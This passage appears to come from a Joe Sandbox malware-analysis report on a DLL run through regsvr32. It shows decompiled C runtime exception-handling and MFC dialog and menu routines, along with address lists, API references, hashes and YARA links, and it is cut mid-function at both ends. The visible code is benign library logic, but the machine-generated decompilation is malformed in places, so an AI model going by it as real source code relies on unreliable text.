						_t157 = _t361[0x20];
						if(_t157 == 0x19930520 || _t157 == 0x19930521 || _t157 == 0x19930522) {
							if(_t328[3] <= 0) {
								L77:
								if(( *_t328 & 0x1fffffff) >= 0x19930521 && _t328[8] != 0) {
									_t284 = _t328[8];
									E1002E620(_t279);
									_t279 = _t279 + _t328[8];
									if(_t279 != 0) {
										if(_t204 == 0) {
											__eflags = 0;
										} else {
											E1002E620(_t279);
											_t315 = _t279;
											_t279 = _t328[8];
											_t313 = _t315 + _t279;
										}
										_t296 = _t361;
										if(E100366E0(_t204, _t279, _t284, _t361, _t313, _t321, _t324, _t345, _t353, _t357, _t361, _t363) == 0) {
											E1002E500(_t215, _t279, _t284, _t357, _t353, _t321, _t324, _t328, _t328, _t331 + 0x5b0, _t353, _t357, _t361, _t363);
											_t284 = _t279;
											E10035F70(_t279, _t284, _t357, _t353, _t321, _t324, _t328, _t328, _t353);
											_t338 =  *(_t331 + 0x5c0);
											_t345 = _t284;
											_t313 = _t361;
											_t279[0x44] = _t331 + 0x90;
											_t296 = _t357;
											 *((char*)(_t331 + 0x40)) =  *(_t331 + 0x5d8);
											 *(_t331 + 0x38) = _t353;
											 *(_t331 + 0x30) = _t328;
											 *(_t331 + 0x28) = 0xffffffff;
											 *(_t331 + 0x20) = 0;
											E1002EC80(_t284, _t357, _t361, _t321, _t324, _t328,  *(_t331 + 0x5c0), _t284);
										}
									}
								}
							} else {
								r8d =  *(_t331 + 0x5e0);
								 *(_t331 + 0x30) = _t353;
								 *(_t331 + 0x28) = _t331 + 0x54;
								_t279 = _t331 + 0x50;
								r9d = _t215;
								_t313 = _t328;
								_t296 = _t357;
								 *(_t331 + 0x20) = _t279;
								E1002EA00(_t216, _t284, _t328, _t321, _t324, _t328, _t338, _t353, _t357);
								_t206 =  *((intOrPtr*)(_t331 + 0x50));
								_t210 =  *((intOrPtr*)(_t331 + 0x54));
								_t284 = _t279;
								 *(_t331 + 0x60) = _t279;
								if(_t206 >= _t210) {
									goto L77;
								} else {
									 *((long long*)(_t331 + 0x590)) = _t324;
									do {
										if( *_t284 <= _t215 && _t215 <= _t284[1]) {
											E1002E620(_t279);
											r15d = _t284[3];
											_t321 = _t279 + _t284[4];
											if(r15d <= 0) {
												r15b =  *(_t331 + 0x5b0);
											} else {
												do {
													E1002E640(_t279);
													_t57 =  *((intOrPtr*)(_t361[0x30] + 0xc)) + 4; // 0x4
													_t359 = _t279 + _t57;
													E1002E640(_t279);
													_t296 = _t361[0x30];
													_t313 =  *((intOrPtr*)(_t361[0x30] + 0xc));
													_t218 =  *((intOrPtr*)(_t279 +  *((intOrPtr*)(_t361[0x30] + 0xc))));
													if(_t218 <= 0) {
														goto L68;
													} else {
														while(1) {
															E1002E640(_t279);
															_t355 = _t361[0x30];
															_t282 =  *_t359;
															_t326 = _t279 + _t282;
															if(_t321[4] == 0) {
																break;
															}
															_t284 = _t321[4];
															E1002E620(_t282);
															_t282 = _t282 + _t284;
															if(_t282 == 0) {
																break;
															} else {
																if(_t204 == 0) {
																	__eflags = 0;
																} else {
																	_t284 = _t321[4];
																	E1002E620(_t282);
																	_t282 = _t282 + _t284;
																}
																if(_t282[4] == 0) {
																	break;
																} else {
																	if(_t204 == 0) {
																		_t204 = 0;
																		__eflags = 0;
																	} else {
																		E1002E620(_t282);
																		_t284 = _t282 + _t321[4];
																	}
																	E1002E640(_t282);
																	_t296 = _t326[4];
																	_t282 = _t282 + _t326[4];
																	if(_t284 == _t282) {
																		L59:
																		if(( *_t326 & 0x00000002) == 0 || ( *_t321 & 0x00000008) != 0) {
																			_t179 =  *_t355;
																			if((_t179 & 0x00000001) == 0 || ( *_t321 & 0x00000001) != 0) {
																				if((_t179 & 0x00000004) == 0 || ( *_t321 & 0x00000004) != 0) {
																					if((_t179 & 0x00000002) == 0 || ( *_t321 & 0x00000002) != 0) {
																						break;
																					} else {
																						goto L67;
																					}
																				} else {
																					goto L67;
																				}
																			} else {
																				goto L67;
																			}
																		} else {
																			goto L67;
																		}
																	} else {
																		if(_t321[4] == 0) {
																			_t204 = 0;
																			__eflags = 0;
																		} else {
																			E1002E620(_t282);
																			_t284 = _t282 + _t321[4];
																		}
																		E1002E640(_t282);
																		_t72 = _t326[4] + 0x10; // 0x10
																		_t73 =  &(_t284[4]); // 0x10
																		_t296 = _t73;
																		_t338 = _t282 + _t72 - _t296;
																		while(1) {
																			_t181 = _t296[_t338] & 0x000000ff;
																			_t212 = ( *_t296 & 0x000000ff) - _t181;
																			if(_t212 != 0) {
																				break;
																			}
																			_t296 =  &(_t296[1]);
																			if(_t181 != 0) {
																				continue;
																			}
																			break;
																		}
																		if(_t212 != 0) {
																			L67:
																			_t218 = _t218 - 1;
																			_t359 = _t359 + 4;
																			if(_t218 > 0) {
																				continue;
																			} else {
																				goto L68;
																			}
																		} else {
																			goto L59;
																		}
																	}
																}
															}
															goto L74;
														}
														_t328 =  *((intOrPtr*)(_t331 + 0x5d0));
														_t353 =  *((intOrPtr*)(_t331 + 0x5c8));
														_t357 =  *((intOrPtr*)(_t331 + 0x5b8));
														r15b = 1;
														 *(_t331 + 0x5b0) = r15b;
														E1002E500(_t215, _t282, _t284, _t357, _t353, _t321, _t326, _t328, _t328, _t331 + 0x70, _t353, _t357, _t361, _t363);
														__eflags = _t326;
														_t288 = _t282;
														if(__eflags != 0) {
															E10036F30(__eflags, _t282, _t288, _t361, _t282, _t321, _t326, _t321, _t326, _t353, _t357, _t361, _t363);
														}
														E1002E620(_t282);
														_t338 =  *(_t331 + 0x5c0);
														_t279 = _t282 + _t321[0xc];
														_t345 = _t288;
														 *((char*)(_t331 + 0x40)) =  *(_t331 + 0x5d8) & 0x000000ff;
														 *(_t331 + 0x38) = _t353;
														 *(_t331 + 0x30) = _t328;
														_t313 = _t361;
														 *(_t331 + 0x28) =  *( *(_t331 + 0x60));
														_t296 = _t357;
														 *(_t331 + 0x20) = _t279;
														E1002EC80(_t288, _t357, _t361, _t321, _t326, _t328,  *(_t331 + 0x5c0), _t288);
														_t284 =  *(_t331 + 0x60);
													}
													goto L74;
													L68:
													r15d = r15d - 1;
													_t321 =  &(_t321[0x14]);
												} while (r15d > 0);
												_t284 =  *(_t331 + 0x60);
												_t328 =  *((intOrPtr*)(_t331 + 0x5d0));
												_t353 =  *((intOrPtr*)(_t331 + 0x5c8));
												_t357 =  *((intOrPtr*)(_t331 + 0x5b8));
												r15d =  *(_t331 + 0x5b0) & 0x000000ff;
											}
											L74:
											_t210 =  *((intOrPtr*)(_t331 + 0x54));
											_t206 =  *((intOrPtr*)(_t331 + 0x50));
											_t215 =  *(_t331 + 0x58);
										}
										_t206 = _t206 + 1;
										_t284 =  &(_t284[5]);
										 *((intOrPtr*)(_t331 + 0x50)) = _t206;
										 *(_t331 + 0x60) = _t284;
									} while (_t206 < _t210);
									_t324 =  *((intOrPtr*)(_t331 + 0x590));
									if(r15b == 0) {
										goto L77;
									}
								}
							}
							L85:
							_t152 = E10035F70(_t279, _t284, _t296, _t313, _t321, _t324, _t328, _t338, _t353);
							if(_t279[0x42] != 0) {
								_t152 = E10037BD0(_t279, _t313, _t345, _t357, _t361, _t363);
							}
							goto L87;
						} else {
							goto L88;
						}
					}
				} else {
					_t185 = _t361[0x20];
					if(_t185 == 0x19930520 || _t185 == 0x19930521 || _t185 == 0x19930522) {
						if(_t361[0x30] != 0) {
							goto L28;
						} else {
							_t152 = E10035F70(_t279, _t284, _t296, _t313, _t321, _t324, _t328, _t338, _t353);
							if(_t279[0x3c] == 0) {
								L87:
								return _t152;
							} else {
								E10035F70(_t279, _t284, _t296, _t313, _t321, _t324, _t328, _t338, _t353);
								_t361 = _t279[0x3c];
								E10035F70(_t279, _t284, _t296, _t313, _t321, _t324, _t328, _t338, _t353);
								_t284 = _t279[0x3e];
								 *(_t331 + 0x5c0) = _t284;
								E1002E680(_t279, _t361[0x38]);
								_t296 = _t361;
								if(E10043E70(_t296) == 0) {
									E10037BD0(_t279, _t313, _t345, _t357, _t361, _t363);
								}
								if( *_t361 == 0xe06d7363 && _t361[0x18] == 4) {
									_t199 = _t361[0x20];
									if(_t199 == 0x19930520 || _t199 == 0x19930521 || _t199 == 0x19930522) {
										if(_t361[0x30] == 0) {
											E10037BD0(_t279, _t313, _t345, _t357, _t361, _t363);
										}
									}
								}
								E10035F70(_t279, _t284, _t296, _t313, _t321, _t324, _t328, _t338, _t353);
								if(_t279[0x42] != 0) {
									E10035F70(_t279, _t284, _t296, _t313, _t321, _t324, _t328, _t338, _t353);
									_t291 = _t279[0x42];
									E10035F70(_t279, _t291, _t296, _t313, _t321, _t324, _t328, _t338, _t353);
									_t313 = _t291;
									_t296 = _t361;
									_t279[0x42] = 0;
									if(E100366E0(_t204, _t279, _t291, _t296, _t291, _t321, _t324, _t345, _t353, _t357, _t361, _t363) == 0) {
										_t296 = _t291;
										if(E10036950(_t279, _t291, _t296, _t321, _t324) != 0) {
											E10036620(1, _t361);
											 *(_t331 + 0x5b0) = "bad exception";
											_t197 = E10031130(_t291, _t331 + 0x78, _t331 + 0x5b0, _t321, _t324, _t338);
											_t313 = 0x100ad320;
											_t296 = _t331 + 0x78;
											 *((long long*)(_t331 + 0x78)) = 0x1009c070;
											E100314A0(_t197, _t296, 0x100ad320);
											asm("int3");
										}
										E10037BA0(_t279, _t296, _t345, _t357, _t361, _t363);
										asm("int3");
									}
									_t284 =  *(_t331 + 0x5c0);
								}
								goto L28;
							}
						}
					} else {
						goto L28;
					}
				}
			}

0x100372a0
0x100372a0
0x100372a0
0x100372a0
0x100372a0
0x100372a0
0x100372a0
0x100372a5
0x100372aa
0x100372af
0x100372b2
0x100372b9
0x100372bd
0x100372c1
0x100372c9
0x100372cd
0x100372d1
0x100372d5
0x100372d9
0x100372dd
0x100372e0
0x100372e3
0x100372ec
0x100372ef
0x100372f2
0x100372fa
0x100372ff
0x1003730d
0x1003730f
0x10037313
0x10037328
0x10037350
0x10037353
0x10037356
0x10037359
0x1003735e
0x10037360
0x1003732a
0x1003732f
0x10037338
0x1003733d
0x10037340
0x10037343
0x10037346
0x10037349
0x10037349
0x10037367
0x1003736e
0x1003736e
0x1003737a
0x100374db
0x100374e2
0x100378e6
0x100378e6
0x100378ea
0x00000000
0x100378ec
0x100378ec
0x100378f4
0x1003792d
0x10037932
0x10037933
0x10037934
0x10037935
0x10037936
0x10037937
0x10037938
0x10037939
0x1003793a
0x1003793b
0x1003793c
0x1003793d
0x1003793e
0x1003793f
0x10037940
0x10037946
0x10037949
0x10037955
0x10037960
0x100378f6
0x100378f6
0x100378fe
0x10037901
0x10037904
0x10037910
0x10037913
0x10037917
0x1003791a
0x1003791e
0x10037923
0x00000000
0x10037923
0x100378f4
0x100374f3
0x100374f3
0x100374fc
0x10037514
0x100377d7
0x100377e4
0x100377f4
0x100377f8
0x100377fd
0x10037800
0x10037808
0x1003781b
0x1003780a
0x1003780a
0x1003780f
0x10037812
0x10037816
0x10037816
0x1003781d
0x10037827
0x1003783a
0x1003783f
0x10037842
0x10037847
0x10037857
0x1003785a
0x1003785d
0x1003786b
0x1003786e
0x10037872
0x10037877
0x1003787c
0x10037884
0x1003788d
0x1003788d
0x10037827
0x10037800
0x1003751a
0x1003751a
0x10037527
0x1003752c
0x10037531
0x10037536
0x10037539
0x1003753c
0x1003753f
0x10037544
0x10037549
0x1003754d
0x10037553
0x10037556
0x1003755b
0x00000000
0x10037561
0x10037561
0x10037570
0x10037572
0x10037581
0x1003758a
0x1003758e
0x10037594
0x1003779a
0x100375a0
0x100375a0
0x100375a0
0x100375ad
0x100375ad
0x100375b2
0x100375b7
0x100375bb
0x100375bf
0x100375c4
0x00000000
0x100375d0
0x100375d0
0x100375d0
0x100375d5
0x100375dc
0x100375e0
0x100375e7
0x00000000
0x00000000
0x100375ed
0x100375f1
0x100375f6
0x100375f9
0x00000000
0x100375ff
0x10037601
0x10037611
0x10037603
0x10037603
0x10037607
0x1003760c
0x1003760c
0x10037617
0x00000000
0x1003761d
0x1003761f
0x1003762f
0x1003762f
0x10037621
0x10037621
0x1003762a
0x1003762a
0x10037631
0x10037636
0x1003763a
0x10037640
0x10037688
0x1003768b
0x10037692
0x10037698
0x100376a1
0x100376aa
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x10037642
0x10037646
0x10037656
0x10037656
0x10037648
0x10037648
0x10037651
0x10037651
0x10037658
0x10037661
0x10037666
0x10037666
0x1003766a
0x10037670
0x10037673
0x10037678
0x1003767a
0x00000000
0x00000000
0x1003767c
0x10037682
0x00000000
0x00000000
0x00000000
0x10037682
0x10037686
0x100376b1
0x100376b1
0x100376b4
0x100376ba
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x10037686
0x10037640
0x10037617
0x00000000
0x100375f9
0x100376fc
0x10037704
0x1003770c
0x10037719
0x10037725
0x1003772d
0x10037732
0x10037735
0x10037738
0x10037746
0x10037746
0x1003774b
0x10037754
0x1003775c
0x10037767
0x1003776a
0x10037773
0x1003777a
0x1003777f
0x10037782
0x10037786
0x10037789
0x1003778e
0x10037793
0x10037793
0x00000000
0x100376c0
0x100376c0
0x100376c4
0x100376c8
0x100376d1
0x100376d6
0x100376de
0x100376e6
0x100376ee
0x100376ee
0x100377a2
0x100377a2
0x100377a6
0x100377aa
0x100377aa
0x100377ae
0x100377b1
0x100377b7
0x100377bb
0x100377bb
0x100377c9
0x100377d1
0x00000000
0x00000000
0x100377d1
0x1003755b
0x10037892
0x10037892
0x1003789f
0x100378a1
0x100378a1
0x00000000
0x00000000
0x00000000
0x00000000
0x100374fc
0x1003738b
0x1003738b
0x10037394
0x100373ad
0x00000000
0x100373b3
0x100373b3
0x100373c0
0x100378a6
0x100378e5
0x100373c6
0x100373c6
0x100373cb
0x100373d2
0x100373db
0x100373e2
0x100373ea
0x100373f4
0x100373fe
0x10037400
0x10037400
0x1003740c
0x10037415
0x1003741e
0x10037433
0x10037435
0x10037435
0x10037433
0x1003741e
0x1003743a
0x10037447
0x1003744d
0x10037452
0x10037459
0x1003745e
0x10037461
0x10037464
0x10037476
0x10037478
0x10037482
0x10037489
0x100374a2
0x100374aa
0x100374b6
0x100374bd
0x100374c2
0x100374c7
0x100374cc
0x100374cc
0x100374cd
0x100374d2
0x100374d2
0x100374d3
0x100374d3
0x00000000
0x10037447
0x100373c0
0x00000000
0x00000000
0x00000000
0x10037394

APIs

Part of subcall function 1002E500: RtlLookupFunctionEntry.KERNEL32 ref: 1002E591

__GetUnwindTryBlock.LIBCMT ref: 10037321
__GetUnwindTryBlock.LIBCMT ref: 10037359
_SetThrowImageBase.LIBCMT ref: 100373EA

Strings

csm, xrefs: 10037373
csm, xrefs: 10037405
bad exception, xrefs: 1003748E
csm, xrefs: 100374DB

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: BlockUnwind$BaseEntryFunctionImageLookupThrow
String ID: bad exception$csm$csm$csm
API String ID: 3766904988-820278400
Opcode ID: 8e0156af4ae3384a66facd9e3584f9b0640c802dc770862062857d4ecb3f009c
Instruction ID: ac2e8dca9e2d23839aa56cb9fe079d27a6c0eab60c600edb940d9503c17f2bcd
Opcode Fuzzy Hash: 8e0156af4ae3384a66facd9e3584f9b0640c802dc770862062857d4ecb3f009c
Instruction Fuzzy Hash: 96F1C176604BC08ACA72CF21A44539EB7A4FB85BCAF954425EF8D4B759DF38E450CB40

Uniqueness

Uniqueness Score: -1.00%

Function 1001B2D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 183
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E1001B2D0(intOrPtr* __rax, intOrPtr* __rcx, long long __rdx, long long __r8, void* __r9, long long _a8, signed int _a32) {
				void* _v88;
				long long _v96;
				char _v120;
				long long _v128;
				long long _v136;
				long long _v144;
				char _v152;
				long long _v168;
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __r12;
				void* __r13;
				void* _t52;
				signed int _t58;
				signed int _t59;
				signed int _t72;
				signed int _t73;
				signed int _t75;
				signed int _t86;
				void* _t91;
				intOrPtr* _t95;
				intOrPtr _t96;
				long long _t100;
				intOrPtr* _t124;
				intOrPtr* _t130;
				long long _t131;
				void* _t140;
				intOrPtr* _t141;
				long long _t142;
				long long _t143;
				intOrPtr* _t144;
				long long _t146;

				_t138 = __r9;
				_t135 = __r8;
				_t120 = __rdx;
				_t101 = __rcx;
				_t95 = __rax;
				_a8 = __rcx;
				_v96 = 0xfffffffe;
				_t146 = __r8;
				_t142 = __rdx;
				_t130 = __rcx;
				if(__r9 == _t100) {
					E1001A994(0, _t90, _t91, __rax, __r8, __r9, _t140);
				}
				E1001A994(0, _t90, _t91, _t95, _t135, _t138, _t140);
				_t144 =  *((intOrPtr*)(_t95 + 0x68));
				_v128 = _t144;
				_t131 = _t100;
				_v144 = _t100;
				_v136 = _t100;
				E100184C4(0, 0x10, _t90, _t91, _t95, _t101, _t120, _t140, _t144);
				_t52 = E100184C4(0, 0x7c000, _t90, _t91, _t95, _t101, _t120, _t140, _t144);
				if(_t144 == _t100) {
					L6:
					__eflags = _t142 - _t100;
					if(_t142 != _t100) {
						E10029288(_t52);
						_t141 = _t95;
						_t95 - _t100 = _t95 == _t100;
						if(_t95 == _t100) {
							E10001000(0x80004005, _t90, _t95, _t100, _t101, _t130, _t135, _t138);
							asm("int3");
						}
						_t96 =  *_t95;
						 *((intOrPtr*)(_t96 + 0x18))();
						_t97 = _t96 + 0x18;
						_v152 = _t97;
						_a32 = 0;
						_t136 =  &_a32;
						_t55 = E1002B5C0(_t97, _t100, _t142,  &_v152, _t130,  &_a32);
						__eflags = _t55;
						_t86 = 0 | _t55 == 0x00000000;
						__eflags =  *0x100b7358; // 0x0
						if(__eflags == 0) {
							L15:
							__eflags = _t86;
							if(_t86 == 0) {
								goto L18;
							}
							goto L16;
						} else {
							__eflags = _t86;
							if(_t86 != 0) {
								L16:
								E1002B578(_t55, 0, _t86, _t90, _t100,  &_v120, _t142, _t130, _t136, _t138);
								_t90 = _a32 & 0x0000ffff;
								E1002B0B8(E1002B49C(_a32 & 0x0000ffff,  &_v120),  &_v120);
								_t131 = _t97;
								_v144 = _t97;
								E1002B0A0( &_v120);
								__eflags = _t131 - _t100;
								if(_t131 != _t100) {
									GlobalLock();
									_t142 = _t97;
								}
								L18:
								 *(_t130 + 0x88) = 0xffffffff;
								 *(_t130 + 0x78) =  *(_t130 + 0x78) | 0x00000010;
								E10016A74(0, _t86, _t90, _t91, _t97, _t130, _t136, _t138, _t141);
								__eflags = _t146 - _t100;
								if(_t146 != _t100) {
									_t137 =  *((intOrPtr*)(_t146 + 0x40));
								} else {
									_t137 = _t100;
								}
								_v168 = _t100;
								CreateDialogIndirectParamA(??, ??, ??, ??, ??);
								_t143 = _t97;
								_v136 = _t97;
								_t124 = _v152 + 0xffffffe8;
								asm("lock xadd [edx+0x10], ecx");
								__eflags = 0xffffffff;
								if(0xffffffff <= 0) {
									_t137 =  *((intOrPtr*)( *_t124));
									 *((intOrPtr*)( *((intOrPtr*)( *_t124)) + 8))();
								}
								__eflags = _t144 - _t100;
								if(_t144 != _t100) {
									_t97 =  *_t144;
									 *((intOrPtr*)( *_t144 + 0x30))();
									__eflags = _t143 - _t100;
									if(_t143 != _t100) {
										_t97 =  *_t130;
										_t90 = 0;
										__eflags = 0;
										 *((intOrPtr*)( *_t130 + 0x258))();
									}
								}
								_t58 = E10014464(0, 0x1fffffffe, _t90, _t91, _t97, _t137, 0x1001ab30, _t141);
								__eflags = _t58;
								if(_t58 == 0) {
									 *((intOrPtr*)( *_t130 + 0x228))();
								}
								__eflags = _t143 - _t100;
								if(_t143 != _t100) {
									__eflags =  *(_t130 + 0x78) & 0x00000010;
									if(( *(_t130 + 0x78) & 0x00000010) == 0) {
										DestroyWindow();
										_t143 = _t100;
									}
								}
								__eflags = _t131 - _t100;
								if(_t131 != _t100) {
									GlobalUnlock();
									GlobalFree(??);
								}
								__eflags = _t143 - _t100;
								_t49 = _t143 != _t100;
								__eflags = _t49;
								_t59 = 0 | _t49;
								L35:
								return _t59;
							}
							_t86 = 0x2a;
							_t72 = GetSystemMetrics(??);
							__eflags = _t72;
							if(_t72 == 0) {
								goto L18;
							}
							_t73 = E100326F0(_t97, _t100, _v152, "MS Shell Dlg", _t130, _t131,  &_a32, _t142);
							__eflags = _t73;
							_t86 = (_t73 & 0xffffff00 | _t73 == 0x00000000) & 0x000000ff;
							__eflags = _t86;
							if(_t86 == 0) {
								goto L18;
							}
							_t75 = _a32 & 0x0000ffff;
							__eflags = _t75 - 8;
							_t55 =  ==  ? 0 : _t75;
							_a32 =  ==  ? 0 : _t75;
							goto L15;
						}
					}
					_t59 = 0;
					goto L35;
				}
				if( *((intOrPtr*)( *_t130 + 0x258))() != 0) {
					_t95 =  *_t144;
					_t135 = _t142;
					_t101 = _t144;
					_t52 =  *((intOrPtr*)(_t95 + 0x28))();
					_t142 = _t95;
					goto L6;
				}
				_t59 = 0;
				goto L35;
			}

0x1001b2d0
0x1001b2d0
0x1001b2d0
0x1001b2d0
0x1001b2d0
0x1001b2d0
0x1001b2e7
0x1001b2f3
0x1001b2f6
0x1001b2f9
0x1001b301
0x1001b303
0x1001b308
0x1001b30c
0x1001b311
0x1001b315
0x1001b31a
0x1001b31d
0x1001b322
0x1001b32c
0x1001b336
0x1001b33e
0x1001b371
0x1001b371
0x1001b374
0x1001b37d
0x1001b382
0x1001b38d
0x1001b38f
0x1001b396
0x1001b39b
0x1001b39b
0x1001b39c
0x1001b3a2
0x1001b3a5
0x1001b3a9
0x1001b3ae
0x1001b3b6
0x1001b3c6
0x1001b3cd
0x1001b3cf
0x1001b3d2
0x1001b3d8
0x1001b426
0x1001b426
0x1001b428
0x00000000
0x00000000
0x00000000
0x1001b3da
0x1001b3da
0x1001b3dc
0x1001b42a
0x1001b432
0x1001b438
0x1001b44f
0x1001b454
0x1001b457
0x1001b461
0x1001b466
0x1001b469
0x1001b46e
0x1001b474
0x1001b474
0x1001b477
0x1001b477
0x1001b481
0x1001b488
0x1001b48d
0x1001b490
0x1001b497
0x1001b492
0x1001b492
0x1001b492
0x1001b49b
0x1001b4ad
0x1001b4b3
0x1001b4b6
0x1001b4c0
0x1001b4c9
0x1001b4d1
0x1001b4d3
0x1001b4d8
0x1001b4db
0x1001b4db
0x1001b4fb
0x1001b4fe
0x1001b500
0x1001b50c
0x1001b50f
0x1001b512
0x1001b514
0x1001b517
0x1001b517
0x1001b51c
0x1001b51c
0x1001b512
0x1001b522
0x1001b527
0x1001b529
0x1001b531
0x1001b531
0x1001b537
0x1001b53a
0x1001b53c
0x1001b540
0x1001b545
0x1001b54b
0x1001b54b
0x1001b540
0x1001b54e
0x1001b551
0x1001b556
0x1001b55f
0x1001b55f
0x1001b565
0x1001b568
0x1001b568
0x1001b56b
0x1001b56d
0x1001b57f
0x1001b57f
0x1001b3de
0x1001b3e3
0x1001b3e9
0x1001b3eb
0x00000000
0x00000000
0x1001b3fd
0x1001b402
0x1001b407
0x1001b40a
0x1001b40c
0x00000000
0x00000000
0x1001b40e
0x1001b416
0x1001b41a
0x1001b41e
0x00000000
0x1001b41e
0x1001b3d8
0x1001b376
0x00000000
0x1001b376
0x1001b353
0x1001b35c
0x1001b360
0x1001b368
0x1001b36b
0x1001b36e
0x00000000
0x1001b36e
0x1001b355
0x00000000

APIs

GetSystemMetrics.USER32 ref: 1001B3E3
GlobalLock.KERNEL32 ref: 1001B46E
CreateDialogIndirectParamA.USER32 ref: 1001B4AD

Strings

MS Shell Dlg, xrefs: 1001B3F1

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: CreateDialogGlobalIndirectLockMetricsParamSystem
String ID: MS Shell Dlg
API String ID: 3758755205-76309092
Opcode ID: 02a75602659217ec2a288ba3c31652796f5fa13407379d01c400a1e5951fb299
Instruction ID: 7f9f2b83ac0101343a9772d38a66acebb4568c8dc4942ae4ece1245042460abb
Opcode Fuzzy Hash: 02a75602659217ec2a288ba3c31652796f5fa13407379d01c400a1e5951fb299
Instruction Fuzzy Hash: 3661D236205E8083CB54DF25E89036D2390FB85BE4F858539EEAA4B7A5DF78C8C9C700

Uniqueness

Uniqueness Score: -1.00%

Function 1002AA04 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 129
windowCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E1002AA04(void* __ebx, void* __edx, intOrPtr* __rax, void* __rcx, void* __rdx, void* __r8, void* __r9, void* __r11) {
				void* __rbx;
				void* __rdi;
				intOrPtr _t59;
				void* _t70;
				void* _t71;
				intOrPtr _t81;
				intOrPtr _t83;
				int _t86;
				int _t88;
				intOrPtr* _t99;
				intOrPtr _t100;
				void* _t102;
				long long _t103;
				intOrPtr* _t105;
				void* _t117;
				intOrPtr* _t118;
				intOrPtr _t122;
				void* _t124;
				void* _t125;
				void* _t126;
				void* _t131;
				void* _t132;
				void* _t134;

				_t134 = __r11;
				_t117 = __rdx;
				_t99 = __rax;
				_t70 = __ebx;
				 *((long long*)(_t126 + 0x20)) = 0xfffffffe;
				_t124 = __rdx;
				_t125 = __rcx;
				_t122 =  *((intOrPtr*)(__rdx + 0x18));
				if(_t122 == 0) {
					L17:
					return 0x1fffffffe;
				}
				E10029288(0x1fffffffe);
				_t105 = _t99;
				r8d = 0;
				r8b = _t99 != 0;
				if(r8d == 0) {
					E10001000(0x80004005, __edx, _t99, _t102, _t105, _t122, __r8, __r9);
					asm("int3");
				}
				_t100 =  *_t99;
				 *((intOrPtr*)(_t100 + 0x18))();
				_t4 = _t100 + 0x18; // 0x18
				_t103 = _t4;
				 *((long long*)(_t126 + 0xf8)) = _t103;
				GetObjectA(??, ??, ??);
				_t86 =  *((intOrPtr*)(_t126 + 0xa8)) + 2;
				_t71 = 0xf;
				if(GetSystemMetrics(??) > _t86) {
					_t71 = 0xf;
					_t86 = GetSystemMetrics(??);
				}
				 *((intOrPtr*)(_t124 + 0x10)) = _t86;
				_t129 = _t122;
				E1002E410(_t50, _t71, 0, _t126 + 0x50, _t117, _t122);
				 *((intOrPtr*)(_t126 + 0x50)) = 0x50;
				 *((intOrPtr*)(_t126 + 0x54)) = 0x40;
				_t131 = _t126 + 0x50;
				r8d = 0;
				if(GetMenuItemInfoA(??, ??, ??, ??) == 0) {
					L15:
					_t44 = _t103 - 0x18; // 0x0
					_t118 = _t44;
					asm("lock xadd [edx+0x10], eax");
					if(0xffffffff > 0) {
						goto L17;
					}
					return  *((intOrPtr*)( *((intOrPtr*)( *_t118)) + 8))();
				} else {
					_t16 = _t122 - 0x4f; // 0x1
					_t81 =  *((intOrPtr*)(_t126 + 0x90));
					if(( *((intOrPtr*)(_t103 - 0xc)) - _t81 | _t16 -  *((intOrPtr*)(_t103 - 8))) < 0) {
						E1000E8B4(_t81, _t103, _t126 + 0xf8, _t129, _t131);
						_t103 =  *((intOrPtr*)(_t126 + 0xf8));
						_t81 =  *((intOrPtr*)(_t126 + 0x90));
					}
					 *((long long*)(_t126 + 0x88)) = _t103;
					 *((intOrPtr*)(_t126 + 0x90)) = _t81 + 1;
					_t132 = _t126 + 0x50;
					r8d = 0;
					_t83 =  *((intOrPtr*)(_t124 + 8));
					_t110 =  *((intOrPtr*)(_t125 + 8));
					_t88 = GetMenuItemInfoA(??, ??, ??, ??);
					if(_t103 != 0) {
						_t110 = _t103;
						_t59 = E10031330(_t58, _t103);
						__eflags = _t59;
						if(_t59 < 0) {
							goto L14;
						}
						goto L11;
					} else {
						_t59 = 0;
						L11:
						if(_t59 >  *((intOrPtr*)(_t103 - 0xc))) {
							L14:
							E10001000(0x80070057, _t83, _t100, _t103, _t110, _t122, _t129, _t132);
							goto L15;
						}
						 *((intOrPtr*)(_t103 - 0x10)) = _t59;
						 *((char*)(_t100 + _t103)) = 0;
						_t97 = _t88;
						if(_t88 != 0) {
							E1000F7C8(_t70, _t126 + 0x28, _t117, _t129, _t134);
							E1000FC58(0, _t126 + 0x28, _t125 + 0x10, _t129, _t132, _t134);
							r8d =  *((intOrPtr*)(_t103 - 0x10));
							GetTextExtentPoint32A(??, ??, ??, ??);
							E1000FC58(0, _t126 + 0x28, _t100, _t129, _t126 + 0x100, _t134);
							r11d =  *((intOrPtr*)(_t126 + 0xa4));
